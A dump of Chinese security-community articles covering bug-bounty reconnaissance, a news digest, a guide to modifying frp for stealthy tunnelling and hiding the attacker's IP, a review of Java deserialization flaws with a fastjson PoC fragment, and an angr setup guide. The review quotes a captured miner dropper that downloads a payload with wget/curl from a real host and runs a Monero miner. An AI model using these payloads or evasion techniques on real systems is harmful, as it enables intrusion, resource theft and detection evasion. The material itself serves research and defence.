text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
生活的艺术，就是艺术的生活；
挖洞的思路，就是思考着挖洞。
各路SRC的迅速崛起，无疑给广大白帽子带来了福音与福利。展露拳脚，占据排行，赚零花钱，获得认可，节日礼物，与小姐姐聊天.......可谓干劲十足，即使拖着疲倦的身躯回到家，也想打开电脑、关灯、戴上耳塞听着音乐，开始沉浸在自由自在的世界。
信息收集是伊始，个人觉得也是重中之重。
#### 0x01 常规操作--官方域名
基本上SRC都会提供相关域名，常以 *.xx.oo 形式告诉一级域名。
#### 0x02 常规操作--域名加工
根据主域名，可以获取二级域名、三级域名、......主要姿势可以有：
其中不得不称赞：
【1】DNS域传送漏洞
如果存在，不仅能搜集子域名，还能轻松找到一枚洞，这样子的好事百试不厌。如果SRC一级域名不多，直接在kali下 dnsenum xx.oo
，如果一级域名很多，写个py调用dnseum或dig也是轻松+愉快。
【2】备案号查询
这算是奇招吧，通过查询系统域名备案号，再反查备案号相关的域名，收获颇丰。
【3】SSL证书
通过查询SSL证书，获取的域名存活率很高，这应该也是不错的思路。
【4】google搜索C段
这招用的比较少，国内没条件的就用bing或百度吧（国内站点足矣），在没什么进展的时候或许会有意外惊喜。
【5】APP提取
根据SRC的APP，进行提取（相关工具可以看看Seay的博客），此外在APP上挖洞的时候，可以发现前面招式找不到的域名。
【6】微信公众号
企业的另一通道，渗透相关公众号，绝对会有意外收获：不少漏洞+域名，这里面有不少技巧，打算在后续写公众号分享。
【7】其他的比较普遍，就不再介绍。
#### 0x03 常规操作--IP网段
有了庞大的域名，接下来就是帮助SRC梳理资产了。
域名可以先判断存活，活着的继续进行确定IP环节。根据IP的分布，确定企业的公网网段。这其实是一项不小的工程，精准度比较难以拿捏。不过通过不断实战，肯定可以琢磨出一些
东西，所以有人称白帽子可能会比企业的运维更了解资产信息。
#### 0x04 常规操作--指纹识别
在这个过程中，可以加入端口扫描、敏感文件扫描之类的操作。
具体的“神器”，我也没有自己习惯哪一款就用哪一款，没有喜欢的就自学自造，只要保证用起来不习惯或者想偷懒又或者不顺手了，就主动一点吧。如果把上一篇公众号文章“运维安全那些洞”中的漏洞部分或全部自动化，那么就可以坐收渔翁之利。
#### 0x05 常规操作？--历史漏洞
现在可以从wooyun镜像站点搜索相关漏洞。
仔细分析，大胆验证，发散思维，对企业的运维、开发习惯了解绝对是有很大的帮助。可以把漏洞保存下来，进行统计，甚至炫一点可以做成词云展示给自己看，看着看着或者就知道会有什么漏洞。
#### 0x06 常规操作？--敏感信息
之前在归纳梳理漏洞的时候，稍微根据自己的习惯总结了信息泄露类，涉及的很不全，这里想偷懒一下贴出之前的图：
最想强调的是github信息泄露了，直接去github上搜索，收获往往是大于付出。可能有人不自信认为没能力去SRC挖洞，可是肯定不敢说不会上网不会搜索。github相关的故事太多，但是给人引出的信息泄露远远不仅在这里：
github.com、rubygems.org...
pan.baidu.com...
QQ群备注或介绍....甚至混入企业qq工作群... | 社区文章 |
# 12月17日安全热点 - 预装密码管理器/.NET JIT
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
网络中立不会死去
<https://www.cnet.com/news/sen-brian-schatz-net-neutrality-is-not-dead/>
美国政府承认花费2000万美元研究UFO
<https://tech.slashdot.org/story/17/12/16/235219/the-us-military-admits-it-spent-22-million-investigating-ufos>
Windows预装密码管理器可能会有密码泄漏风险
<http://securityaffairs.co/wordpress/66802/hacking/keeper-password-manager-flaw.html>
## 技术类
工控系统利用框架
<https://github.com/dark-lbp/isf>
详解.NET JIT
<http://mattwarren.org/2017/12/15/How-does-.NET-JIT-a-method-and-Tiered-Compilation/>
CVE-2017-11851 Windows内核本地信息泄漏漏洞
<http://www.securityfocus.com/bid/101763>
黑客以能源机构为目标意欲挖矿
<https://www.raconteur.net/technology/hackers-are-after-processing-power-to-get-valuable-bitcoins>
iOS/MacOS kernel double free due to IOSurfaceRootUserClient not respecting MIG
ownership rules
<https://cxsecurity.com/issue/WLB-2017120112>
Usercorn：旨在模拟用户空间的工具
<https://github.com/lunixbochs/usercorn>
通过应用层传输安全保护通信连接
<https://security.googleblog.com/2017/12/securing-communications-between-google.html>
AgentLess WMI Shells
<https://www.coresecurity.com/blog/agentless-wmi-shells>
Fishbook：Facebook开源的iOS安全工具
<https://github.com/facebook/fishhook> | 社区文章 |
# frp优化
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
工欲善其事，必先利其器。由于frp并不是主要以渗透测试内网穿透为目的而开发的软件，所以为符合攻击对抗的要求需要对其进行改造来达到免杀、流量隐蔽等要求。
使用原版加载参数的方式一旦被防守者发现极易暴露攻击者信息，可以采取无配置文件落地或者半落地方式来规避防守。
效果如下：
frpc.exe -i x.x.x.x -p 17000 -r 10000
frpc.exe //内置所有配置参数
*命令行方式可在windows系统中可以隐藏命令参数，在linux系统可以使用history查看到，想要彻底规避需要将所需参数直接写在frp源码中再重新编译。
frpc是frp的客户端，GitHub原版使用frpc.ini传递运行参数，常使用的参数有以下几个：
[common]
server_addr = 127.0.0.1
server_port = 17000
tls_enable = true //传输过程使用tls加密
token = zhangyida //连接服务端密码
[socks5_proxy]
type = tcp
plugin = socks5
plugin_user = zyd
plugin_passwd = zyd
remote_port = 10000
首先在实现之前，需要知晓原版frp是如何传递参数即frpc参数传递分析。
## frp参数传递过程简析
以0.33版本frp传参代码的实现如下：
cmd/frpc/sub/root.go
//init():初始化参数，c代表config文件地址；v表示frpc版本
func init() {
rootCmd.PersistentFlags().StringVarP(&cfgFile, “config”, “c”, “./frpc.ini”,
“config file of frpc”)
rootCmd.PersistentFlags().BoolVarP(&showVersion, “version”, “v”, false,
“version of frpc”)
kcpDoneCh = make(chan struct{})
}
var rootCmd = &cobra.Command{
//提示信息如下
Use: “frpc”,
Short: “frpc is the client of frp (https://github.com/fatedier/frp)”,
RunE: func(cmd *cobra.Command, args []string) error {
if showVersion {
fmt.Println(version.Full())
return nil
}
// Do not show command usage here.
//通过runClient方法读取配置文件信息并向服务端注册搭建隧道
err := runClient(cfgFile)
if err != nil {
fmt.Println(err)
os.Exit(1)
}
return nil
},
}
跟进runClient方法，发现以下3个方法跟解析配置文件相关
config.GetRenderedConfFromFile实现读取ini格式配置文件并最终转换为字符串
//models/config/values.go
package config
import (
“bytes”
“io/ioutil”
“os”
“strings”
“text/template”
)
var (
glbEnvs map[string]string
)
func init() {
glbEnvs = make(map[string]string)
envs := os.Environ()
for _, env := range envs {
kv := strings.Split(env, “=”)
if len(kv) != 2 {
continue
}
glbEnvs[kv[0]] = kv[1]
}
}
type Values struct {
Envs map[string]string // environment vars
}
func GetValues() *Values {
return &Values{
Envs: glbEnvs,
}
}
func RenderContent(in string) (out string, err error) {
tmpl, errRet := template.New(“frp”).Parse(in)
if errRet != nil {
err = errRet
return
}
buffer := bytes.NewBufferString(“”)
v := GetValues()
err = tmpl.Execute(buffer, v)
if err != nil {
return
}
out = buffer.String()
return
}
func GetRenderedConfFromFile(path string) (out string, err error) {
var b []byte
b, err = ioutil.ReadFile(path)
if err != nil {
return
}
content := string(b)
out, err = RenderContent(content)
return
}
parseClientCommonConf，根据传递参数方式选择ini文件格式或者命令行方式。
当为ini文件时，解析config.GetRenderedConfFromFile返回的字符串
config.UnmarshalClientConfFromIni将content字符串转换成结构体返回cfg
当传递参数方式为命令行时，注意这个参数只是frpc的[common]参数。
config.loadAllConfFromIni主要实现读取代理相关参数
## 命令行传参
向cobra的init方法添加serverAddr、serverPort、forwardPort
func init() {
//rootCmd.PersistentFlags().StringVarP(&cfgFile, “config”, “c”, “./frpc.ini”,
“config file of frpc”)
//rootCmd.PersistentFlags().BoolVarP(&showVersion, “version”, “v”, false,
“version of frpc”)
rootCmd.PersistentFlags().StringVarP(&serverAddr, “server_addr”, “i”,
“1.1.1.1”, “server_addr”)
rootCmd.PersistentFlags().StringVarP(&serverPort, “server_port”, “p”, “18000”,
“server_port”)
rootCmd.PersistentFlags().StringVarP(&forwardPort, “remote_port”, “r”,
“11000”, “remote_port”)
kcpDoneCh = make(chan struct{})
}
构造getConfFromCmd方法，将frpc.ini内容写入并传递添加的参数
func getConfFromCmd(serverAddr string, serverPort string, fport string) {
fileContent = `[common]
server_addr =` + serverAddr + `
server_port = ` + serverPort + `
tls_enable = true
token = zyd
[socks5_proxy]
type = tcp
plugin = socks5
plugin_user = zyd
plugin_passwd = zyd
remote_port = ` + forwardPort + `
}
修改runClient方法，使用写入的frpc.ini取代原来读取配置文件的方法
func runClient(cfgFilePath string) (err error) {
var content string
getConfFromCmd(serverAddr, serverPort, forwardPort)
content, err = fileContent, nil
if err != nil {
return
}
cfg, err := parseClientCommonCfg(CfgFileTypeIni, content)
if err != nil {
return
}
pxyCfgs, visitorCfgs, err := config.LoadAllConfFromIni(cfg.User, content,
cfg.Start)
if err != nil {
return err
}
err = startService(cfg, pxyCfgs, visitorCfgs, cfgFilePath)
return
}
实现命令行传递参数，隧道搭建成功
## frpc.ini完全写入源码
将getConfFromCmd方法中的所有待定参数给定即可
func getConfFromCmd(serverAddr string, serverPort string, fport string) {
fileContent = `[common]
server_addr = 1.1.1.1
server_port = 12321
tls_enable = true
token = zyd
[socks5_proxy]
type = tcp
plugin = socks5
plugin_user = zyd
plugin_passwd = zyd
remote_port = 11000
}
## 特征修改
### 特征一
在tls_enable为false时，frpc与frps之间的认证流量存在特征，在models/msg/msg.go中修改。
### 特征二
frp为了端口复用，建立TLS连接时第一个字节是固定的0x17，且后面数据包大小为317，在utils/net/tls.go中进行修改。
## CDN隐藏真实IP
经过以上修改的frp无法完全隐藏攻击者vps ip，可以使用websocket协议实现cdn来规避。
首先在[godady](https://sg.godaddy.com/)购买一个域名
使用[cloudflare](https://dash.cloudflare.com/)实现免费cdn，不能使用国内服务器，使用xg或者国外vps且免费版的cloudflare存在端口限制，只能使用常见http/s使用的端口。
http：80,8080,8880,2052,2082,2086,2095
https：443,2053,2083,2087,2096,8443
修改源码中的server_addr为自己的域名
## 效果
删除不必要文件后使用frp自带的packge.sh编译缩后在目标执行即可。
## 参考
<https://uknowsec.cn/posts/notes/FRP%E6%94%B9%E9%80%A0%E8%AE%A1%E5%88%92.html>
<https://sec.lz520520.com/2020/11/566/> | 社区文章 |
作者：[廖新喜](https://mp.weixin.qq.com/s?__biz=MzU0NzYzMzU0Mw==&mid=2247483659&idx=1&sn=a89bfa211b5e7706967cf6e801a4496c&chksm=fb4a21e3cc3da8f5f2eec6c6d991e2b6b78630cf251f786da5f5b3b4ea034c0225c5cd643442#rd
"廖新喜")
### 背景
2017年OWASP发布了新的十大web漏洞威胁，其中A8:2017就是不安全的反序列化，A9:2017-使用含有已知漏洞的组件也和反序列化紧密相连，这是因为在Java开发中很多代码都依赖于第三方组件，而这些组件可能会存在反序列漏洞，典型的例子就是Jackson，fastjson，XStream，XMLDecoder等开源组件。序列化是对象转换成二进制，json，xml等存储格式。而反序列化恰好相反，则是将二进制，json，xml转换成相应的类。
在2017年绿盟科技NS-SRC 处理的漏洞应急中就有很大一部分是反序列化漏洞，下面我们来一一分析2017年我们应急的那些反序列化漏洞。
总得来说，2017年出现的反序列化漏洞和以往反序列漏洞在漏洞形成方式上不太一样，在以往都是由于Java自身的反序列特征导致的漏洞，2017年则多了fastjson，Jackson等，这两个库都能将json文本转换成具体的java
bean，在这个转换过程中会调用相应的setter方法和getter方法从而导致远程代码执行。2017年还出现关于XMLDecoder和XStream的应急，都是因为依赖问题导致的缺陷。
本报告重点回顾2017年绿盟科技重点应急，影响面非常广的那些反序列化漏洞。从这个报告中能看出反序列化漏洞的发展，攻击方和防御方不停的对抗过程，bypass和反bypass在这个过程中体现得淋漓尽致。
### 概述
应急路线
从3月份爆出Fastjson的反序列化特性导致的远程代码执行，四月份则是Jackson，Log4j2，Jenkins的反序列化造成的远程代码执行，接着6月份流出了Weblogic
CVE-2017-3248的利用代码。稍微消停了一会，Struts2又被安全研究人员盯上，爆出Struts2-052，又是一个远程代码执行。在11月份，由于Jackson官方对漏洞不敏感，接着又被曝CVE-2017-15095，又一个绕过。进入12月份，Fastjson和Jackson相继发布了几个补丁修复那些黑名单的绕过；Weblogic
XMLDecoder(CVE-2017-10352)的漏洞被广泛应用于于挖坑。由于很多漏洞都是远程代码执行，有的一个HTTP
POST请求就能getshell，所以备受黑产亲睐。
### 反序列化漏洞
#### 1 fastjson反序列化漏洞
2017年3月15日，fastjson官方发布安全公告表示fastjson在1.2.24及之前版本存在远程代码执行高危安全漏洞。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。fastjson官方建议直接升级到1.2.28/1.2.29或者更新版本来保证系统安全。4月29日，本文作者绿盟科技安全研究员廖新喜（xxlegend）构造出了Fastjson的反序列漏洞的PoC，引起了安全圈的广泛讨论。详细的分析可参照1，下面做简单的回顾。
##### 1.1 补丁
在ParserConfig.java中添加了checkAutoType，不论用户是否开启了autoTypeSupport功能，在类名被加载时都需要通过额外的一层处理（来判断是否在acceptlist里），只有满足了此限制的类名才会被加载。另外引入了黑名单机制，在开启了autoTypeSupport的情况下，如果加载的是黑名单中类也会抛出异常。补丁核心代码如下：
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}
if (typeName.length() >= maxTypeNameLength) {
throw new JSONException("autoType is not support. " + typeName);
}
final String className = typeName.replace('$', '.');
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
##### 1.2 初略分析
静态分析得知，要构造一个可用的poc，肯定得引入denyList的库。这里我们就引入`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl`类。
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," +
"\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
System.out.println(text1);
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
最核心的部分是`_bytecodes`，它是要执行的代码，@type是指定的解析类，fastjson会根据指定类去反序列化得到该类的实例，在默认情况下，fastjson只会反序列化公开的属性和域，而`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl`中`_bytecodes`却是私有属性，`_name`也是私有域，所以在parseObject的时候需要设置Feature.SupportNonPublicField，这样`_bytecodes`字段才会被反序列化。`_tfactory`这个字段在TemplatesImpl既没有get方法也没有set方法，这没关系，我们设置`_tfactory`为{
},fastjson会调用其无参构造函数得`_tfactory`对象，这样就解决了某些版本中在defineTransletClasses()用到会引用`_tfactory`属性导致异常退出。整个PoC的执行过程的调用栈如下:
JSON.parseObject
...
JavaBeanDeserializer.deserialze
...
FieldDeserializer.setValue
...
TemplatesImpl.getOutputProperties
TemplatesImpl.newTransformer
TemplatesImpl.getTransletInstance
...
Runtime.getRuntime().exec
更多的原理分析可见2 。
##### 1.3 后续官方修补
fastjson官方后续又添加了一些补丁，本文作者给fastjson官方提交了两次绕过，fastjson官方都发布了相应更新。具体如下：
1. fastjson-1.2.34版本发布，当autoType=true时增强安全防护
2. fastjson-1.2.42版本发布 Bug修复安全加固
3. fastjson-1.2.43版本发布 Bug修复安全加固
4. fastjson-1.2.44版本发布 Bug修复安全加固
在fastjson-1.2.42版本中通过异或操作混淆了其黑名单，可以阻挡一部分人分析其黑名单内容，其实这是自欺欺人的。具体的黑名单分析读者可以自行研究。
#### 2 Jackson反序列化
Jackson是一个开源的Java序列化与反序列化工具，可以将java对象序列化为xml或json格式的字符串，或者反序列化回对应的对象，由于其使用简单，速度较快，且不依靠除JDK外的其他库，被众多用户所使用。但是其组件Jackson-databind可以指定特定的反序列化类，这样就存在代码执行的风险。
##### 2.1 CVE-2017-7525
这个CVE是本文作者报告的。下面来看一个Jackson官方的补丁，这个补丁主要是将TemplatesImpl加入了黑名单，从后续的CVE就可以看出这是远远不够的，可以通过各种方式绕过。
+ protected void checkIllegalTypes(DeserializationContext ctxt, JavaType type,
+ BeanDescription beanDesc)
+ throws JsonMappingException
+ {
+ // There are certain nasty classes that could cause problems, mostly
+ // via default typing -- catch them here.
+ Class<?> raw = type.getRawClass();
+ String name = raw.getSimpleName();
+
+ if ("TemplatesImpl".equals(name)) { // [databind#1599]
+ if (raw.getName().startsWith("com.sun.org.apache.xalan")) {
+ throw JsonMappingException.from(ctxt,
+ String.format("Illegal type (%s) to deserialize: prevented for security reasons",
+ name));
+ }
+ }
+ }
}
###### 2.1.1 分析
Jackson在反序列的过程中，首先扫描输入的json文件，分析其要反序列的类，通过反射的方式获取该类的构造方法，包括无参构造方法和有参构造方法，获取其setter，getter方法用于操作具体的类的属性。反序列的过程就是先通过反射得到一个实例，通过其setter或者getter方法给该实例的属性赋值，当然如果引入的类的setter方法或者getter方法中存在执行一些一些危险的操作，如利用rmi远程加载类则会造成远程代码执行缺陷。PoC示例图
详细分析可参考3。
##### 2.2 后续官方修补
CVE-2017-15095是CVE-2017-7525的延续，这个漏洞同样也是本文作者报告的。同样是黑名单的绕过。
CVE-2017-17485是CVE-2017-7525的延续，这个漏洞引入的类是`org.springframework.context.support.ClassPathXmlApplicationContext`,利用这个库的bean重新生成类，而这个bean所依赖的xml是由攻击者来定制的。从这里也可以看出黑名单就是个无底洞，深不可见，bypass也是不完。由于Jackson的特性，可以预测，Jackson在2018年还将出现更多的绕过。
#### 3 Struts2
struts2号称漏洞之王，2017应急中就处理了S2-045，S2-046，S2-48，S2-052，S2-055，都是远程代码执行级别的漏洞。S2-045的PoC现在还被黑客用于各种漏洞扫描，挖矿。既然是漏洞之王，那自然少不了反序列化，S2-052（CVE-2017-9805）就是XStream使用不当造成的反序列化。S2-055则是由于Jackson-databind导致的反序列化。这两个漏洞的典型特点都是不恰当的使用第三方库导致的。
##### 3.1 S2-052分析
根据官方的描述信息来看，是REST插件使用到XStreamHandler处理xml数据的时候，由于未对xml数据做任何过滤，在进行反序列将xml数据转换成Object时导致的RCE。
###### 3.1.1 补丁
补丁的核心部分如下：
+ protected void addDefaultPermissions(ActionInvocation invocation, XStream stream) {
+ stream.addPermission(new ExplicitTypePermission(new Class[]{invocation.getAction().getClass()}));
+ if (invocation.getAction() instanceof ModelDriven) {
+ stream.addPermission(new ExplicitTypePermission(new Class[]{((ModelDriven) invocation.getAction()).getModel().getClass()}));
+ }
+ stream.addPermission(NullPermission.NULL);
+ stream.addPermission(PrimitiveTypePermission.PRIMITIVES);
+ stream.addPermission(ArrayTypePermission.ARRAYS);
+ stream.addPermission(CollectionTypePermission.COLLECTIONS);
+ stream.addPermission(new ExplicitTypePermission(new Class[]{Date.class}));
+ }
主要就是将xml中的数据白名单化，把Collection和Map，一些基础类，时间类放在白名单中，这样就能阻止XStream反序列化的过程中带入一些有害类。
###### 3.1.2 分析
首先分析入口文件，在Struts2的配置文件中有如下xml描述信息：
<beantype="org.apache.struts2.rest.handler.ContentTypeHandler"name="xml"class="org.apache.struts2.rest.handler.XStreamHandler"/>
<constantname="struts.action.extension"value="xhtml,,xml,json"/>
也就是说ContentType为xml的所有请求都会交给XStreamHandler来处理，XStreamHanler.toObject调用了XStream.fromXml来处理那些请求中的xml信息，从而进入反序列化流程。
这里面最有意思的应该是官方给的临时缓解措施不起作用，官方给出的缓解措施`<constant name=”struts.action.extension”
value=”xhtml,,,json”
/>`，从字面意思也能看出来，这个是针对action的后缀的，也就是说如果后缀不带xml也就可以绕过。而POST请求一般不带xml后缀直接忽视这个缓解措施。下图就是一个示例：
所以说Struts的官方也是根据PoC修漏洞，没完全测试过的东西就直接放出来。XStream只跟Content-Type有关，如果Content-Type中含有xml，则会交给XStream处理，更多的详情分析见4
##### 3.2 S2-055分析
2017年12月1日，Apache Struts发布最新的安全公告，Apache Struts 2.5.x
REST插件存在远程代码执行的中危漏洞，漏洞编号与CVE-2017-7525相关。漏洞的成因是由于使用的Jackson版本过低在进行JSON反序列化的时候没有任何类型过滤导致远程代码执行。当然官方说的影响是未知，其实这里是远程代码执行。
###### S2-055补丁
没有提供补丁，只是提醒升级Jackson库版本。
###### S2-055分析
为了让Jackson支持多态，Jackson官方提供了几种方式，第一种全局Default
Typing机制，第二种为相应的class添加@JsonTypeInfo注解。这里会启用第二种方式，在第二种方式中，大体代码如下：
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS, include = JsonTypeInfo.As.WRAPPER_ARRAY)
public Object clientName;
在clientName上方添加注解，打开支持多态的特性，这样我们就能指定clientName的类型；另一个是将clientName的类型改为Object类型，这样就避免了类型不匹配或者不是其子类的错误。
另外Jackson不是默认句柄，需要设置ContentTypeHandler，这样当Content-Type为application/json格式的请求都交给了JcaksonLibHandler来处理。具体的PoC就是Jackson的PoC，这里不再展示，详情分析见5。这个漏洞和S2-052非常类似，都是引用的第三方库存在缺陷导致的漏洞，这样的案例数不胜数，在Java生态中简直就是一个灾难，第三方依赖实在太多。
#### 4 Weblogic
在2017年，整个Oracle的产品线都深受反序列化影响，其中Weblogic影响面尤其广泛，很多漏洞的CVSS评分都是9.8，9.9甚至为10.
而且CVE-2017-3248的PoC已经在github上，并且被用于黑产，CVE-2017-10352 PoC也被泄露同样被用于黑产。
##### 4.1 CVE-2017-3248 分析
这个漏洞(CVE-2017-3248)就是利用rmi机制的缺陷，通过JRMP协议达到执行任意反序列化payload的目的。利用步骤可以分为两步，第一步建立JRMP监听端口，第二步执行反序列化操作，其反序列化内容指向外部的JRMP监听端口，这样在反序列的过程中就会从远程JRMP监听端口加载内容并执行序列化操作，详细的利用工具可以使用ysoserial。
##### 4.2 CVE-2017-10352 分析
这个漏洞是由于XMLDecoder这个缺陷库存在代码执行问题，同样也是由于被黑产利用而被大家广泛得知。其实在CVE-2017-3506中，Weblogic官方已经做了一次修补，只是当时的修补不够彻底，后来有研究员给Weblogic提供了绕过的PoC，Weblogic官方再次完整修补。同时这个PoC也被泄露，非常多的用户中招。
###### 4.2.1 补丁
补丁的核心代码如下：
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if(qName.equalsIgnoreCase("void")) {
for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
}
}
}
if(qName.equalsIgnoreCase("array")) {
String var9 = attributes.getValue("class");
if(var9 != null && !var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}
这个补丁限定了object，new,method,void，array等字段，就限定了不能生成java 实例。
###### 4.2.2 分析
根据补丁大概就得就能猜出相应的PoC，具体如下：
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.3.216:7001
Accept-Encoding: identity
Content-Length: 683
Accept-Language: zh-CN,zh;q=0.8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Connection: keep-alive
Cache-Control: max-age=0
Content-Type: text/xml
。。。。
在动态调试过程中这个调用栈非常深，我们简单解释一下关键的几个部位，首先是WorkContextServerTube.java中processRequest方法，主要功能就是分割整个xml，抽取真正执行的xml交给readHeadOld方法，也就是请求中`soapenv:Header`包裹的部分，这一部分最终会交给XMLDecoder，XMLDecoder完成数据到对象的转换，即会执行恶意代码。并且wls-wsat是一个特权应用，无需用户名密码验证，所以危害非常大。
更多详情分析可参考文档 6 , 同时绿盟科技这篇报告的英文版还被Java-Deserialization-Cheat-Sheet收录。
###### 4.2.3 黑产利用
在绿盟的IPS设备或者蜜罐设备就能看到很多这种利用Weblogic
XMLDecoder（CVE-2017-10352）进行黑产利用的特征，下面是绿盟IPS抓到的示例，具体如下：
srcip为173.212.217.181
POST /wls-wsat/CoordinatorPortType HTTP/1.1////0d////0aHost: 58.210.×.×:
对于linux系统会去191.101.180.74下载一个bash脚本执行挖坑行为（门罗币）。这个robots.txt的核心内容如下：
wget -q http://45.123.190.178/Silence -O /tmp/Silence
curl -o /tmp/Silence http://45.123.190.178/Silence
else
exit 0;
fi
chmod +x /tmp/Silence
nohup /tmp/Silence -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:80 -u 44pgg5mYVH6Gnc7gKfWGPR2CxfQLhwdrCPJGzLonwrSt5CKSeEy6izyjEnRn114HTU7AWFTp1SMZ6eqQfvrdeGWzUdrADDu -p x -R 1 &>>/dev/null &
sleep 10
rm -rf /tmp/Silence
对srcip：173.212.217.181溯源跟踪，从绿盟科技威胁情报中心NTI中的数据也能看出，该IP从2017年8月份开始，一直被用于特定漏洞扫描以便发现更多具有脆弱性的主机。
### 总结
从OWASP 2017 top
ten报告中可以看出反序列化是一个业内都开始关注重视的漏洞类型，一个原因就是该漏洞很多时候都是通过黑名单的方式的修复，这就导致了层出不穷的绕过，从Jackson，fastjson，weblogic一见端倪，都是修复，绕过，再修复，再绕过，没有尽头。另外一个原因就是该漏洞的危害非常大，通常都是RCE，一个PoC直接获取系统权限，不管是黑产，灰产，开发，运维还有白帽安全人员都非常重视该类型的漏洞。从系统的重要性来看，国内很多商业系统都是基于Java框架开发，这些中间件或者Web容器一旦出现漏洞，整个系统都变得不堪一击，可能造成不可挽回的影响。
对于反序列漏洞的防御，业内也是一个难题，首先得确保所有的依赖库和容器已经更新到最新版本，这样能防止已知漏洞的攻击。另外绿盟科技的IPS，WAF都已经具备对这些漏洞的防护能力，更多的防护策略请参考绿盟科技下一篇关于反序列化漏洞防御的文档。
### 相关链接
<http://blog.nsfocus.net/tag/fastjson/>
<http://blog.nsfocus.net/tag/jackson/>
<http://blog.nsfocus.net/tag/weblogic/>
* * * | 社区文章 |
# Angr_CTF从入门到精通
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
本文基于一个GitHub上关于Angr在CTF上应用的题库，具体的地址为：
https://github.com/jakespringer/angr_ctf
本文所使用Ubuntu环境皆为20.04 LTS 版本
我自己的笔记和题目二进制文件，以及注释脚本EXP我另外开了一个仓库：
https://github.com/ZERO-A-ONE/AngrCTF_FITM
## 安装篇
建议首先修改Linux和Python镜像至国内镜像加速体验
### Linux/Ubuntu国内镜像
* 首先打开Software&Updates
* 选择Download from
* 选择Other…
* 在国家列表中找到China
* 推荐选择的镜像源为：
* 清华大学镜像站：`mirrors.tuna.tsinghua.edu.cn`
* 阿里云镜像站：`mirrors.aliyun.com`
* Choose Server
* 选择Close后等待刷新镜像仓库
* 在shell中执行
* `sudo apt update`
* `sudo apt upgrade`
### Python国内镜像加速
首先切回用户主目录
cd ~
然后创建`.pip`目录
mkdir ~/.pip
cd ~/.pip
这里推荐编辑器使用传说中的神器`vim`
sudo apt install vim
在.pip目录下创建一个`pip.conf`文件
vim pip.conf
填入以下内容保存即可
[global]
index-url = https://pypi.tuna.tsinghua.edu.cn/simple
[install]
trusted-host=mirrors.aliyun.com
### 安装Angr
这里主要参照官方手册文档的教学
首先是安装必要的软件环境
sudo apt-get install python3-dev libffi-dev build-essential virtualenvwrapper
开始正式安装angr
mkvirtualenv --python=$(which python3) angr && pip install angr
angr安装完毕
angr官方推荐使用虚拟环境运行，每次需要调用具有angr环境时，只需要执行
mkvirtualenv --python=$(which python3) angr
### Tips：
#### 1）如果遇上 mkvirtualenv: command not found 问题
* 在终端命令行输入以下命令：
* `sudo pip install virtualenv`
* `sudo pip install virtualenvwrapper`
* 没问题下一步
* `cd ~/`
* 找到virtualenvwrapper.sh所在的位置
* syc[@ubuntu](https://github.com/ubuntu "@ubuntu"):~/Desktop$ find / -name 'virtualenvwrapper.sh'
/usr/share/virtualenvwrapper/virtualenvwrapper.sh
* 修改bashrc文件
* `vim .bashrc`
* 在文件末尾添加两行代码
* `export WORKON_HOME=~/.environments`
* `source /usr/share/virtualenvwrapper/virtualenvwrapper.sh`
* 保存退出即可
* 重新加载.bashrc文件
* `source ~/.bashrc`
## 简介
### 符号执行
符号执行就是在运行程序时，用符号来替代真实值。符号执行相较于真实值执行的优点在于，当使用真实值执行程序时，我们能够遍历的程序路径只有一条,
而使用符号进行执行时，由于符号是可变的，我们就可以利用这一特性，尽可能的将程序的每一条路径遍历，这样的话，必定存在至少一条能够输出正确结果的分支,
每一条分支的结果都可以表示为一个离散关系式,使用约束求解引擎即可分析出正确结果。
### Angr
